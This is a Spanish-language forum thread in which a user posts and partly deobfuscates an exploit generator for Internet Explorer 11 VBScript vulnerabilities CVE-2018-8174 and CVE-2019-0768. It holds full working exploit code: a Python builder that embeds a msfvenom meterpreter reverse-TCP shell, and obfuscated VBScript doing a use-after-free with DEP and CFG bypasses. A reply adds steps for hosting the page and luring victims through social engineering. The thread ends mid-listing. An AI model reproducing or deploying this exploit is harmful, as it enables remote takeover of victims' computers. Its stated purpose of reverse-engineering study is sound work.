elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Analizando supuesto Exploit en VBScript y Python de Internet Explorer 11
0 Usuarios y 3 Visitantes están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Analizando supuesto Exploit en VBScript y Python de Internet Explorer 11  (Leído 2,811 veces)
Bad4m_cod3

Desconectado Desconectado

Mensajes: 44


"a28ed83f69647d8f2a1046b9fa0e7c2c" H.P.Lovecraft


Ver Perfil
Analizando supuesto Exploit en VBScript y Python de Internet Explorer 11
« en: 9 Abril 2025, 20:12 pm »

Consegui este fragmento de codigo por un compañero. Lo dejo por aca para analizarlo con calma y poder trabajar con el sin abusar del Virtual Box.

Código
  1. import sys
  2. import subprocess
  3.  
  4. usage_text = """
  5.  
  6. Exploit Generator for CVE-2018-8174 & CVE-2019-0768
  7.  
  8. Prerequisite:
  9. - Metasploit
  10. - msfvenom
  11.  
  12. Usage: python ie11_vbscript.py [Listener IP] [Listener Port]
  13.  
  14. Instruction:
  15. 1. Use this script to generate "exploit.html"
  16. 2. Host the html file on your server
  17. 3. Setup a handler with windows/meterpreter/reverse_tcp in Metasploit
  18. 4. In your handler, set AutoRunScript with "post/windows/manage/migrate"
  19.  
  20. """
  21.  
  22. if len(sys.argv) != 3:
  23.   print usage_text
  24.   sys.exit()
  25.  
  26. lhost = sys.argv[1]
  27. lport = sys.argv[2]
  28. #p = subprocess.call(["msfvenom","-p","windows/meterpreter/reverse_tcp","LHOST="+lhost])
  29. p = subprocess.Popen(["msfvenom","-p","windows/meterpreter/reverse_tcp","LHOST="+lhost,"LPORT="+lport,"-b","'\\x00'","-f","js_le"],stdout=subprocess.PIPE)
  30.  
  31. out = p.communicate()
  32. result = out[0]
  33. payload = """
  34.  
  35. <!doctype html>
  36. <html lang=\"en\">
  37. <head>
  38. <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">
  39. <meta http-equiv=\"x-ua-compatible\" content=\"IE=5\">
  40. <meta http-equiv=\"Expires\" content=\"0\">
  41. <meta http-equiv=\"Pragma\" content=\"no-cache\">
  42. <meta http-equiv=\"Cache-control\" content=\"no-cache\">
  43. <meta http-equiv=\"Cache\" content=\"no-cache\">
  44. </head>
  45. <body>
  46. <script language=\"VBScript.Encode\">
  47. Dim lIIl
  48. Dim IIIlI(6),IllII(6)
  49. Dim IllI
  50. Dim IIllI(40)
  51. Dim lIlIIl,lIIIll
  52. Dim IlII
  53. Dim llll,IIIIl
  54. Dim llllIl,IlIIII
  55. Dim NtContinueAddr,VirtualProtectAddr
  56.  
  57. IlII=195948557
  58. lIlIIl=Unescape(\"%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000\")
  59. lIIIll=Unescape(\"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000\")
  60. IllI=195890093
  61. Function IIIII(Domain)
  62. lIlII=0
  63. IllllI=0
  64. IIlIIl=0
  65. Id=CLng(Rnd*1000000)
  66. lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
  67. If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
  68. lIlII=lIlII-(&h86d+6447-&H219b)
  69. End If
  70.  
  71. IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
  72. IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
  73. IIIII=Domain &\"?\" &Chr(IllllI) &\"=\" &Id &\"&\" &Chr(IIlIIl) &\"=\" &lIlII
  74. End Function
  75.  
  76. Function lIIII(ByVal lIlIl)
  77. IIll=\"\"
  78. For index=0 To Len(lIlIl)-1
  79. IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
  80. Next
  81. IIll=IIll &\"00\"
  82. If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
  83. IIll=IIll &\"00\"
  84. End If
  85. For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
  86. lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
  87. lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
  88. lIIII=lIIII &\"%u\" &lIlIll &lIIIlI
  89. Next
  90. End Function
  91. Function lIlI(ByVal Number,ByVal Length)
  92. IIII=Hex(Number)
  93. If Len(IIII)<Length Then
  94. IIII=String(Length-Len(IIII),\"0\") &IIII    \'pad allign with zeros
  95. Else
  96. IIII=Right(IIII,Length)
  97. End If
  98. lIlI=IIII
  99. End Function
  100. Function GetUint32(lIII)
  101. Dim value
  102. llll.mem(IlII+8)=lIII+4
  103. llll.mem(IlII)=8 \'type string
  104. value=llll.P0123456789
  105. llll.mem(IlII)=2
  106. GetUint32=value
  107. End Function
  108. Function IllIIl(lIII)
  109. IllIIl=GetUint32(lIII) And (131071-65536)
  110. End Function
  111. Function lllII(lIII)
  112. lllII=GetUint32(lIII)  And (&h17eb+1312-&H1c0c)
  113. End Function
  114. Sub llllll
  115. End Sub
  116. Function GetMemValue
  117. llll.mem(IlII)=(&h713+3616-&H1530)
  118. GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))
  119. End Function
  120. Sub SetMemValue(ByRef IlIIIl)
  121. llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl
  122. End Sub
  123. Function LeakVBAddr
  124. On Error Resume Next
  125. Dim lllll
  126. lllll=llllll
  127. lllll=null
  128. SetMemValue lllll
  129. LeakVBAddr=GetMemValue()
  130. End Function
  131. Function GetBaseByDOSmodeSearch(IllIll)
  132. Dim llIl
  133. llIl=IllIll And &hffff0000
  134. Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692
  135. llIl=llIl-65536
  136. Loop
  137. GetBaseByDOSmodeSearch=llIl
  138. End Function
  139. Function StrCompWrapper(lIII,llIlIl)
  140. Dim lIIlI,IIIl
  141. lIIlI=\"\"
  142. For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
  143. lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
  144. Next
  145. StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
  146. End Function
  147. Function GetBaseFromImport(base_address,name_input)
  148. Dim import_rva,nt_header,descriptor,import_dir
  149. Dim IIIIII
  150. nt_header=GetUint32(base_address+(&h3c))
  151. import_rva=GetUint32(base_address+nt_header+&h80)
  152. import_dir=base_address+import_rva
  153. descriptor=0
  154. Do While True
  155. Dim Name
  156. Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
  157. If Name=0 Then
  158. GetBaseFromImport=&hBAAD0000
  159. Exit Function
  160. Else
  161. If StrCompWrapper(base_address+Name,name_input)=0 Then
  162. Exit Do
  163. End If
  164. End If
  165. descriptor=descriptor+1
  166. Loop
  167. IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
  168. GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
  169. End Function
  170.  
  171. Function GetProcAddr(dll_base,name)
  172. Dim p,export_dir,index
  173. Dim function_rvas,function_names,function_ordin
  174. Dim Illlll
  175. p=GetUint32(dll_base+&h3c)
  176. p=GetUint32(dll_base+p+&h78)
  177. export_dir=dll_base+p
  178.  
  179. function_rvas=dll_base+GetUint32(export_dir+&h1c)
  180. function_names=dll_base+GetUint32(export_dir+&h20)
  181. function_ordin=dll_base+GetUint32(export_dir+&h24)
  182. index=0
  183. Do While True
  184. Dim lllI
  185. lllI=GetUint32(function_names+index*4)
  186. If StrCompWrapper(dll_base+lllI,name)=0 Then
  187. Exit Do
  188. End If
  189. index=index+1
  190. Loop
  191. Illlll=IllIIl(function_ordin+index*2)
  192. p=GetUint32(function_rvas+Illlll*4)
  193. GetProcAddr=dll_base+p
  194. End Function
  195.  
  196. Function GetShellcode()
  197. IIlI=Unescape(\"%u0000%u0000%u0000%u0000\") &Unescape(\"{shellcode}\" &lIIII(IIIII(\"\")))
  198. IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape(\"%u4141\"))
  199. GetShellcode=IIlI
  200. End Function
  201. Function EscapeAddress(ByVal value)
  202. Dim High,Low
  203. High=lIlI((value And &hffff0000)/&h10000,4)
  204. Low=lIlI(value And &hffff,4)
  205. EscapeAddress=Unescape(\"%u\" &Low &\"%u\" &High)
  206. End Function
  207. Function lIllIl
  208. Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
  209. IlllI=lIlI(NtContinueAddr,8)
  210. IlIII=Mid(IlllI,1,2)
  211. llllI=Mid(IlllI,3,2)
  212. llIII=Mid(IlllI,5,2)
  213. lIllI=Mid(IlllI,7,2)
  214. IIlI=\"\"
  215. IIlI=IIlI &\"%u0000%u\" &lIllI &\"00\"
  216. For IIIl=1 To 3
  217. IIlI=IIlI &\"%u\" &llllI &llIII
  218. IIlI=IIlI &\"%u\" &lIllI &IlIII
  219. Next
  220. IIlI=IIlI &\"%u\" &llllI &llIII
  221. IIlI=IIlI &\"%u00\" &IlIII
  222. lIllIl=Unescape(IIlI)
  223. End Function
  224. Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) \'bypass cfg
  225. Dim IIlI
  226. IIlI=String((100334-65536),Unescape(\"%u4141\"))
  227. IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
  228. IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
  229. IIlI=IIlI &EscapeAddress(&h3000)
  230. IIlI=IIlI &EscapeAddress(&h40)
  231. IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
  232. IIlI=IIlI &String(6,Unescape(\"%u4242\"))
  233. IIlI=IIlI &lIllIl()
  234. IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape(\"%u4141\"))
  235. WrapShellcodeWithNtContinueContext=IIlI
  236. End Function
  237. Function ExpandWithVirtualProtect(lIlll)
  238. Dim IIlI
  239. Dim lllllI
  240. lllllI=lIlll+&h23
  241. IIlI=\"\"
  242. IIlI=IIlI &EscapeAddress(lllllI)
  243. IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape(\"%4141\"))
  244. IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
  245. IIlI=IIlI &EscapeAddress(&h1b)
  246. IIlI=IIlI &EscapeAddress(0)
  247. IIlI=IIlI &EscapeAddress(lIlll)
  248. IIlI=IIlI &EscapeAddress(&h23)
  249. IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape(\"%u4343\"))
  250. ExpandWithVirtualProtect=IIlI
  251. End Function
  252. Sub ExecuteShellcode
  253. llll.mem(IlII)=&h4d \'DEP bypass
  254. llll.mem(IlII+8)=0
  255.    msgbox(IlII) \'VT replaced
  256. End Sub
  257.  
  258. Class cla1
  259. Private Sub Class_Terminate()
  260. Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
  261. IllI=IllI+(&h14b5+2725-&H1f59)
  262. lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
  263. End Sub
  264.  
  265. End Class
  266.  
  267. Class cla2
  268. Private Sub Class_Terminate()
  269. Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
  270. IllI=IllI+(&h880+542-&Ha9d)
  271. lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
  272. End Sub
  273. End Class
  274.  
  275. Class IIIlIl
  276. End Class
  277.  
  278. Class llIIl
  279. Dim mem
  280. Function P
  281. End Function
  282. Function SetProp(Value)
  283. mem=Value
  284. SetProp=0
  285. End Function
  286. End Class
  287.  
  288. Class IIIlll
  289. Dim mem
  290. Function P0123456789
  291. P0123456789=LenB(mem(IlII+8))
  292. End Function
  293. Function SPP
  294. End Function
  295. End Class
  296.  
  297. Class lllIIl
  298. Public Default Property Get P
  299. Dim llII
  300. P=174088534690791e-324
  301. For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
  302. IIIlI(IIIl)=(&h2176+711-&H243d)
  303. Next
  304. Set llII=New IIIlll
  305. llII.mem=lIlIIl
  306. For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
  307. Set IIIlI(IIIl)=llII
  308. Next
  309. End Property
  310. End Class
  311.  
  312. Class llllII
  313. Public Default Property Get P
  314. Dim llII
  315. P=636598737289582e-328
  316. For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
  317. IllII(IIIl)=(&h442+2598-&He68)
  318. Next
  319. Set llII=New IIIlll
  320. llII.mem=lIIIll
  321. For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
  322. Set IllII(IIIl)=llII
  323. Next
  324. End Property
  325. End Class
  326.  
  327. Set llllIl=New lllIIl
  328. Set IlIIII=New llllII
  329. Sub UAF
  330. For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
  331. Set IIllI(IIIl)=New IIIlIl
  332. Next
  333. For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
  334. Set IIllI(IIIl)=New llIIl
  335. Next
  336. IllI=0
  337. For IIIl=0 To 6
  338. ReDim lIIl(1)
  339. Set lIIl(1)=New cla1
  340. Erase lIIl
  341. Next
  342. Set llll=New llIIl
  343. IllI=0
  344. For IIIl=0 To 6
  345. ReDim lIIl(1)
  346. Set lIIl(1)=New cla2
  347. Erase lIIl
  348. Next
  349. Set IIIIl=New llIIl
  350. End Sub
  351. Sub InitObjects
  352. llll.SetProp(llllIl)
  353. IIIIl.SetProp(IlIIII)
  354. IlII=IIIIl.mem
  355. End Sub
  356.  
  357. Sub StartExploit
  358. UAF
  359. InitObjects
  360. vb_adrr=LeakVBAddr()
  361. //Alert \"CScriptEntryPointObject Leak: 0x\" & Hex(vb_adrr) & vbcrlf & \"VirtualTable address: 0x\" & Hex(GetUint32(vb_adrr))
  362. vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
  363. //Alert \"VBScript Base: 0x\" & Hex(vbs_base)
  364. msv_base=GetBaseFromImport(vbs_base,\"msvcrt.dll\")
  365. //Alert \"MSVCRT Base: 0x\" & Hex(msv_base)
  366. krb_base=GetBaseFromImport(msv_base,\"kernelbase.dll\")
  367. //Alert \"KernelBase Base: 0x\" & Hex(krb_base)
  368. ntd_base=GetBaseFromImport(msv_base,\"ntdll.dll\")
  369. //Alert \"Ntdll Base: 0x\" & Hex(ntd_base)
  370. VirtualProtectAddr=GetProcAddr(krb_base,\"VirtualProtect\")
  371. //Alert \"KernelBase!VirtualProtect Address 0x\" & Hex(VirtualProtectAddr)
  372. NtContinueAddr=GetProcAddr(ntd_base,\"NtContinue\")
  373. //Alert \"KernelBase!VirtualProtect Address 0x\" & Hex(NtContinueAddr)
  374. SetMemValue GetShellcode()
  375. ShellcodeAddr=GetMemValue()+8
  376. //Alert \"Shellcode Address 0x\" & Hex(ShellcodeAddr)
  377. SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
  378. lIlll=GetMemValue()+69596
  379. SetMemValue ExpandWithVirtualProtect(lIlll)
  380. llIIll=GetMemValue()
  381. ExecuteShellcode
  382. Alert \"Executing Shellcode\"
  383. End Sub
  384. StartExploit
  385. </script>
  386. </body>
  387. </html>
  388.  
  389. """.format(shellcode=result)
  390.  
  391. f = open("exploit.html", "w")
  392. f.write(payload)

Aun no se que hace exactamente, pero me tomare el tiempo de decodificarlo y analizarlo bien.
Saludos
En línea

809219e8548c7feaa7cf844281a1d8e4a85f37bd34cc3839cf6498aaaa23dc8c
(Bad4m_cod3 estuvo aqui.)
Bad4m_cod3

Desconectado Desconectado

Mensajes: 44


"a28ed83f69647d8f2a1046b9fa0e7c2c" H.P.Lovecraft


Ver Perfil
Re: Analizando supuesto Exploit en VBScript y Python de Internet Explorer 11
« Respuesta #1 en: 10 Abril 2025, 00:09 am »

Información del exploit
Instruciones de uso
  • 1. Usar el Script generado "exploit.html"
  • 2. Host del fichero HTML es tu servidor
  • 3. Configurar con windows/meterpreter/reverse_tcp en Metasploit
  • 4. set AutoRunScript en "post/windows/manage/migrate"
  • 5. usar ataque de ingenieria social para el payload url

Saludos
En línea

809219e8548c7feaa7cf844281a1d8e4a85f37bd34cc3839cf6498aaaa23dc8c
(Bad4m_cod3 estuvo aqui.)
Bad4m_cod3

Desconectado Desconectado

Mensajes: 44


"a28ed83f69647d8f2a1046b9fa0e7c2c" H.P.Lovecraft


Ver Perfil
Re: Analizando supuesto Exploit en VBScript y Python de Internet Explorer 11
« Respuesta #2 en: 25 Abril 2025, 19:06 pm »

Codigo Decodificado

Analizando y reescribiendo las variables eliminando la molesta ofuscacion podemos entender mejor la funcionalidad del mismo. Pues bien, aunque ya existe documentacion no esta demas investigar y profundizar realizando algo de ingenieria inversa.

Código
  1.  
  2. import sys
  3. import subprocess
  4.  
  5. usage_text = """
  6. Exploit Generator for CVE-2018-8174 & CVE-2019-0768
  7.  
  8. Prerequisite:
  9. - Metasploit
  10. - msfvenom
  11.  
  12. Usage: python ie11_vbscript.py [Listener IP] [Listener Port]
  13.  
  14. Instruction:
  15. 1. Use this script to generate "exploit.html"
  16. 2. Host the html file on your server
  17. 3. Setup a handler with windows/meterpreter/reverse_tcp in Metasploit
  18. 4. In your handler, set AutoRunScript with "post/windows/manage/migrate"
  19. """
  20.  
  21. if len(sys.argv) != 3:
  22.    print(usage_text)
  23.    sys.exit()
  24.  
  25. listener_ip = sys.argv[1]
  26. listener_port = sys.argv[2]
  27. process = subprocess.Popen(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=" + listener_ip, "LPORT=" + listener_port, "-b", "'\\x00'", "-f", "js_le"], stdout=subprocess.PIPE)
  28.  
  29. output = process.communicate()
  30. payload_result = output[0]
  31. payload = """
  32. <!doctype html>
  33. <html lang="en">
  34. <head>
  35. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  36. <meta http-equiv="x-ua-compatible" content="IE=5">
  37. <meta http-equiv="Expires" content="0">
  38. <meta http-equiv="Pragma" content="no-cache">
  39. <meta http-equiv="Cache-control" content="no-cache">
  40. <meta http-equiv="Cache" content="no-cache">
  41. </head>
  42. <body>
  43. <script language="VBScript.Encode">
  44. (Exploit Code VBScript)
  45. </script>
  46. </body>
  47. </html>
  48. """
  49.  
  50. with open("exploit.html", "w") as f:
  51.    f.write(payload)
  52.  
  53.  

En "(Exploit Code VBScript)" esta etiqueta no es mas que el codigo VBScript con variables renombradas acontinuación.

Código
  1. Dim scriptVariable
  2. Dim array1(6), array2(6)
  3. Dim someVariable
  4. Dim memoryArray(40)
  5. Dim address1, address2
  6. Dim variable1
  7. Dim counter1, counter2
  8. Dim variable2, variable3
  9. Dim continueAddress, virtualProtectAddress
  10.  
  11. variable1 = 195948557
  12. address1 = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
  13. address2 = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
  14. someVariable = 195890093
  15.  
  16. Function generateQuery(Domain)
  17.    scriptVariable = 0
  18.    randomValue1 = 0
  19.    randomValue2 = 0
  20.    randomId = CLng(Rnd * 1000000)
  21.    scriptVariable = CLng((&h27d + 8231 - &H225b) * Rnd) Mod (&h137d + 443 - &H152f) + (&h1c17 + 131 - &H1c99)
  22.    If (randomId + scriptVariable) Mod (&h5c0 + 6421 - &H1ed3) = (&h10ba + 5264 - &H254a) Then
  23.        scriptVariable = scriptVariable - (&h86d + 6447 - &H219b)
  24.    End If
  25.  
  26.    randomValue1 = CLng((&h2bd + 6137 - &H1a6d) * Rnd) Mod (&h769 + 4593 - &H1940) + (&h1a08 + 2222 - &H2255)
  27.    randomValue2 = CLng((&h14e6 + 1728 - &H1b5d) * Rnd) Mod (&hfa3 + 1513 - &H1572) + (&h221c + 947 - &H256e)
  28.    generateQuery = Domain & "?" & Chr(randomValue1) & "=" & randomId & "&" & Chr(randomValue2) & "=" & scriptVariable
  29. End Function
  30.  
  31. Function encodeString(ByVal inputString)
  32.    Dim encodedString
  33.    encodedString = ""
  34.    For index = 0 To Len(inputString) - 1
  35.        encodedString = encodedString & convertToHex(Asc(Mid(inputString, index + 1, 1)), 2)
  36.    Next
  37.    encodedString = encodedString & "00"
  38.    If Len(encodedString) / (&h15c6 + 3068 - &H21c0) Mod (&h1264 + 2141 - &H1abf) = (&hc93 + 6054 - &H2438) Then
  39.        encodedString = encodedString & "00"
  40.    End If
  41.    For i = (&h1a1a + 3208 - &H26a2) To Len(encodedString) / (&h1b47 + 331 - &H1c8e) - (&h14b2 + 4131 - &H24d4)
  42.        part1 = Mid(encodedString, i * (&h576 + 1268 - &Ha66) + (&ha64 + 6316 - &H230f), (&ha49 + 1388 - &Hfb3))
  43.        part2 = Mid(encodedString, i * (&hf82 + 3732 - &H1e12) + (&h210 + 2720 - &Hcaf) + (&h4fa + 5370 - &H19f2), (&hf82 + 5508 - &H2504))
  44.        encodeString = encodeString & "%u" & part2 & part1
  45.    Next
  46. End Function
  47.  
  48. Function getUint32(value)
  49.    Dim result
  50.    memoryArray.mem(variable1 + 8) = value + 4
  51.    result = memoryArray.mem(variable1)
  52.    memoryArray.mem(variable1) = 2
  53.    getUint32 = result
  54. End Function
  55.  
  56. Function leakVBScriptAddress()
  57.    On Error Resume Next
  58.    Dim temp
  59.    temp = someVariable
  60.    temp = null
  61.    setMemoryValue temp
  62.    leakVBScriptAddress = getMemoryValue()
  63. End Function
  64.  
  65. Function getBaseAddressByDOSmodeSearch(importAddress)
  66.    Dim baseAddress
  67.    baseAddress = importAddress And &hffff0000
  68.    Do While getUint32(baseAddress + (&h748 + 4239 - &H176f)) <> 544106784 Or getUint32(baseAddress + (&ha2a + 7373 - &H268b)) <> 542330692
  69.        baseAddress = baseAddress - 65536
  70.    Loop
  71.    getBaseAddressByDOSmodeSearch = baseAddress
  72. End Function
  73.  
  74. Function compareStringsWrapper(value1, value2)
  75.    Dim tempString
  76.    tempString = ""
  77.    For i = (&ha2a + 726 - &Hd00) To Len(value2) - (&h2e1 + 5461 - &H1835)
  78.        tempString = tempString & Chr(getUint32(value1 + i))
  79.    Next
  80.    compareStringsWrapper = StrComp(UCase(tempString), UCase(value2))
  81. End Function
  82.  
  83. Function getBaseFromImport(baseAddress, dllName)
  84.    Dim importRVA, ntHeader, descriptor, importDirectory
  85.    Dim functionAddress
  86.    ntHeader = getUint32(baseAddress + (&h3c))
  87.    importRVA = getUint32(baseAddress + ntHeader + &h80)
  88.    importDirectory = baseAddress + importRVA
  89.    descriptor = 0
  90.    Do While True
  91.        Dim name
  92.        name = getUint32(importDirectory + descriptor * (&h14) + &hc)
  93.        If name = 0 Then
  94.            getBaseFromImport = &hBAAD0000
  95.            Exit Function
  96.        Else
  97.            If compareStringsWrapper(baseAddress + name, dllName) = 0 Then
  98.                Exit Do
  99.            End If
  100.        End If
  101.        descriptor = descriptor + 1
  102.    Loop
  103.    functionAddress = getUint32(importDirectory + descriptor * (&h14) + &h10)
  104.    getBaseFromImport = getBaseAddressByDOSmodeSearch(getUint32(baseAddress + functionAddress))
  105. End Function
  106.  
  107. Function getProcAddress(dllBase, functionName)
  108.    Dim exportDirectory, index
  109.    Dim functionRVAs, functionNames, functionOrdinals
  110.    Dim functionAddress
  111.    exportDirectory = getUint32(dllBase + &h3c)
  112.    exportDirectory = getUint32(dllBase + exportDirectory + &h78)
  113.    exportDirectory = dllBase + exportDirectory
  114.  
  115.    functionRVAs = dllBase + getUint32(exportDirectory + &h1c)
  116.    functionNames = dllBase + getUint32(exportDirectory + &h20)
  117.    functionOrdinals = dllBase + getUint32(exportDirectory + &h24)
  118.    index = 0
  119.    Do While True
  120.        Dim functionNameAddress
  121.        functionNameAddress = getUint32(functionNames + index * 4)
  122.        If compareStringsWrapper(dllBase + functionNameAddress, functionName) = 0 Then
  123.            Exit Do
  124.        End If
  125.        index = index + 1
  126.    Loop
  127.    functionAddress = getUint32(functionOrdinals + index * 2)
  128.    getProcAddress = dllBase + functionAddress
  129. End Function
  130.  
  131. Function getShellcode()
  132.    Dim shellcode
  133.    shellcode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("{shellcode}" & encodeString(generateQuery("")))
  134.    shellcode = shellcode & String((&h80000 - LenB(shellcode)) / 2, Unescape("%u4141"))
  135.    getShellcode = shellcode
  136. End Function
  137.  
  138. Function escapeAddress(ByVal value)
  139.    Dim highPart, lowPart
  140.    highPart = convertToHex((value And &hffff0000) / &h10000, 4)
  141.    lowPart = convertToHex(value And &hffff, 4)
  142.    escapeAddress = Unescape("%u" & lowPart & "%u" & highPart)
  143. End Function
  144.  
  145. Function prepareShellcode()
  146.    Dim shellcodeString, part1, part2, part3, part4
  147.    part1 = convertToHex(continueAddress, 8)
  148.    part2 = Mid(part1, 1, 2)
  149.    part3 = Mid(part1, 3, 2)
  150.    part4 = Mid(part1, 5, 2)
  151.    shellcodeString = ""
  152.    shellcodeString = shellcodeString & "%u0000%u" & part4 & "00"
  153.    For i = 1 To 3
  154.        shellcodeString = shellcodeString & "%u" & part3 & part2
  155.        shellcodeString = shellcodeString & "%u" & part4 & part2
  156.    Next
  157.    shellcodeString = shellcodeString & "%u" & part3 & part2
  158.    shellcodeString = shellcodeString & "%u00" & part2
  159.    prepareShellcode = Unescape(shellcodeString)
  160. End Function
  161.  
  162. Function wrapShellcodeWithNtContinueContext(shellcodeAddress)
  163.    Dim shellcodeWrapper
  164.    shellcodeWrapper = String((100334 - 65536), Unescape("%u4141"))
  165.    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress)
  166.    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress)
  167.    shellcodeWrapper = shellcodeWrapper & escapeAddress(&h3000)
  168.    shellcodeWrapper = shellcodeWrapper & escapeAddress(&h40)
  169.    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress - 8)
  170.    shellcodeWrapper = shellcodeWrapper & String(6, Unescape("%u4242"))
  171.    shellcodeWrapper = shellcodeWrapper & prepareShellcode()
  172.    shellcodeWrapper = shellcodeWrapper & String((&h80000 - LenB(shellcodeWrapper)) / 2, Unescape("%u4141"))
  173.    wrapShellcodeWithNtContinueContext = shellcodeWrapper
  174. End Function
  175.  
  176. Function expandWithVirtualProtect(shellcodeLocation)
  177.    Dim virtualProtectExpansion
  178.    Dim adjustedLocation
  179.    adjustedLocation = shellcodeLocation + &h23
  180.    virtualProtectExpansion = ""
  181.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(adjustedLocation)
  182.    virtualProtectExpansion = virtualProtectExpansion & String((&hb8 - LenB(virtualProtectExpansion)) / 2, Unescape("%4141"))
  183.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(virtualProtectAddress)
  184.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(&h1b)
  185.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(0)
  186.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(shellcodeLocation)
  187.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(&h23)
  188.    virtualProtectExpansion = virtualProtectExpansion & String((&400 - LenB(virtualProtectExpansion)) / 2, Unescape("%u4343"))
  189.    expandWithVirtualProtect = virtualProtectExpansion
  190. End Function
  191.  
  192. Sub executeShellcode()
  193.    memoryArray.mem(variable1) = &h4D ' DEP bypass
  194.    memoryArray.mem(variable1 + 8) = 0
  195.    msgbox(variable1) ' VT replaced
  196. End Sub
  197.  
  198. Class Class1
  199.    Private Sub Class_Terminate()
  200.        Set array1(IllI) = allocateMemory((&h1078 + 5473 - &H25d8))
  201.        IllI = IllI + (&h14b5 + 2725 - &H1f59)
  202.        allocateMemory((&h79a + 3680 - &H15f9)) = (&h69c + 1650 - &Hd0d)
  203.    End Sub
  204. End Class
  205.  
  206. Class Class2
  207.    Private Sub Class_Terminate()
  208.        Set array2(IllI) = allocateMemory((&h15b + 3616 - &Hf7a))
  209.        IllI = IllI + (&h880 + 542 - &Ha9d)
  210.        allocateMemory((&h1f75 + 342 - &H20ca)) = (&had3 + 3461 - &H1857)
  211.    End Sub
  212. End Class
  213.  
  214. Class Class3
  215. End Class
  216.  
  217. Class MemoryClass
  218.    Dim memory
  219.    Function P
  220.    End Function
  221.    Function SetProperty(Value)
  222.        memory = Value
  223.        SetProperty = 0
  224.    End Function
  225. End Class
  226.  
  227. Class MemoryAccessClass
  228.    Dim memory
  229.    Function GetMemoryLength
  230.        GetMemoryLength = LenB(memory(variable1 + 8))
  231.    End Function
  232.    Function SPP
  233.    End Function
  234. End Class
  235.  
  236. Class MemoryHandlerClass
  237.    Public Default Property Get P
  238.        Dim temp
  239.        P = 174088534690791e-324
  240.        For i = (&h7a0 + 4407 - &H18d7) To (&h2eb + 1143 - &H75c)
  241.            array1(i) = (&h2176 + 711 - &H243d)
  242.        Next
  243.        Set temp = New MemoryAccessClass
  244.        temp.memory = address1
  245.        For i = (&h1729 + 3537 - &H24fa) To (&h1df5 + 605 - &H204c)
  246.            Set array1(i) = temp
  247.        Next
  248.    End Property
  249. End Class
  250.  
  251. Class MemoryHandlerClass2
